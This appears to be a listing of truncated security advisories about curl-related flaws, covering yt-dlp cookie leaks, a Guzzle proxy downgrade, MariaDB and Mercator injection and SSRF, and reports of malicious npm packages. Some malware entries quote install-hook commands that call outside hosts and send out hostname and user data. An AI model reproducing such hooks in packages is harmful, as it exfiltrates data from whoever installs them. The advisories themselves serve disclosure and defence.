CVE-2026-50019

yt-dlp is a command-line audio/video downloader. From 2023.09.24 until 2026.06.09, if curl is used as an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's. At the file downloa...

CVE-2026-55568

Summary (CVE-2026-55568) : Guzzle’s built‑in cURL handlers (CurlHandler/CurlMultiHandler) can downgrade an https:// proxy to plaintext when using libcurl older than 7.50.2, exposing proxy credentials and the CONNECT host/port. The issue occurs if an https proxy is configured and the app runs with...

CVE-2026-55568

Guzzle is an extensible PHP HTTP client. Prior to 7.12.1, in certain configurations, traffic expected to be protected by TLS on the hop to the proxy is transmitted in cleartext. Proxy authentication credentials the Proxy-Authorization header, proxy userinfo in the proxy URL, or CURLOPTPROXYUSERPW...

CVE-2026-55568 Guzzle: Silent HTTPS-Proxy Downgrade to Cleartext

Guzzle is an extensible PHP HTTP client. Prior to 7.12.1, in certain configurations, traffic expected to be protected by TLS on the hop to the proxy is transmitted in cleartext. Proxy authentication credentials the Proxy-Authorization header, proxy userinfo in the proxy URL, or CURLOPTPROXYUSERPW...

CVE-2026-55568

Guzzle is an extensible PHP HTTP client. Prior to 7.12.1, in certain configurations, traffic expected to be protected by TLS on the hop to the proxy is transmitted in cleartext. Proxy authentication credentials the Proxy-Authorization header, proxy userinfo in the proxy URL, or CURLOPTPROXYUSERPW...

Malicious code in ttal2ttml (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4 package.json declares a preinstall lifecycle script that runs node -e "tryrequire'childprocess'.execSync'curl -sf...

CVE-2026-44170

A flaw was found in MariaDB server. When the CONNECT engine is installed and REST support is enabled on Windows, a user can exploit improper sanitization of the table HTTP attribute. This attribute is interpolated into the curl command line, allowing for arbitrary shell command execution on the...

CVE-2026-49345 Mercator CVE Configuration Vulnerable to Server-Side Request Forgery (SSRF)

Mercator is an open source web application that enables mapping of the information system. Prior to version 2025.05.19, a Server-Side Request Forgery SSRF vulnerability exists in Mercator's CVE configuration panel /admin/config/parameters. The testProvider method in ConfigurationController passes...

Malicious code in electron-internal-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e07ff16a8f4a44a8ccfc2f6f2a91eee6dbd3d1de9f1c4d6ca95e0e48999202ef On npm install, package.json's postinstall script executes curl http://9ph8dp.ceye.io, an out-of-band DNS/HTTP interaction service controlled by the...

SUSE-SU-2026:22156-1 Security update for curl

This update for curl fixes the following issues: - CVE-2026-4873: connection reuse ignores TLS requirement bsc1262631. - CVE-2026-5545: wrong reuse of HTTP Negotiate connection bsc1262632. - CVE-2026-6253: proxy credentials leak over redirect-to proxy bsc1262635. - CVE-2026-6276: stale custom...

OPENSUSE-SU-2026:20973-1 Security update for curl

This update for curl fixes the following issues: - CVE-2026-4873: connection reuse ignores TLS requirement bsc1262631. - CVE-2026-5545: wrong reuse of HTTP Negotiate connection bsc1262632. - CVE-2026-6253: proxy credentials leak over redirect-to proxy bsc1262635. - CVE-2026-6276: stale custom...

Reliance on Cookies without Validation and Integrity Checking

Overview yt-dlp is an A youtube-dl fork with additional features and patches Affected versions of this package are vulnerable to Reliance on Cookies without Validation and Integrity Checking via curl. An attacker can obtain sensitive cookie information by crafting a malicious website that embeds ...

GHSA-F7J3-774F-RFHJ yt-dlp: File Downloader cookie leak with curl

Summary If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's. This is the equivalent to GHSA-v8mc-9377-rwjj for the curl downloader. The vulnerable behavior is...

yt-dlp: File Downloader cookie leak with curl

Summary If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's. This is the equivalent to GHSA-v8mc-9377-rwjj for the curl downloader. The vulnerable behavior is...

MAL-2026-5911 Malicious code in utils-common-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584 package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional...

BIT-MARIADB-2026-44170 MariaDB: Argument injection in CONNECT REST Xcurl on Windows via unsanitized URL

MariaDB server is a community developed fork of MySQL server. From versions 10.6.1 to before 10.6.26, 10.11.1 to before 10.11.17, 11.4.1 to before 11.4.11, 11.8.1 to before 11.8.7, and 12.3.1, MariaDB on WIndows with installed CONNECT engine and enabled REST support interpolated table HTTP...

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

CurlAsyncHTTPClient leaks per-request credentials on handle reuse Summary CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one...

GHSA-PW6J-QG29-8W7F Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

CurlAsyncHTTPClient leaks per-request credentials on handle reuse Summary CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one...

MAL-2026-5826 Malicious code in dms-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collecto...

MAL-2026-5787 Malicious code in @solana-labs/spl-toke (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 490ce5d7e43d8a79aa85bbd24e7140ed074eee472f375092ab9b4cd650ce41f8 Package name @solana-labs/spl-toke is a one-character omission of the legitimate @solana-labs/spl-token package, abusing the official Solana Labs...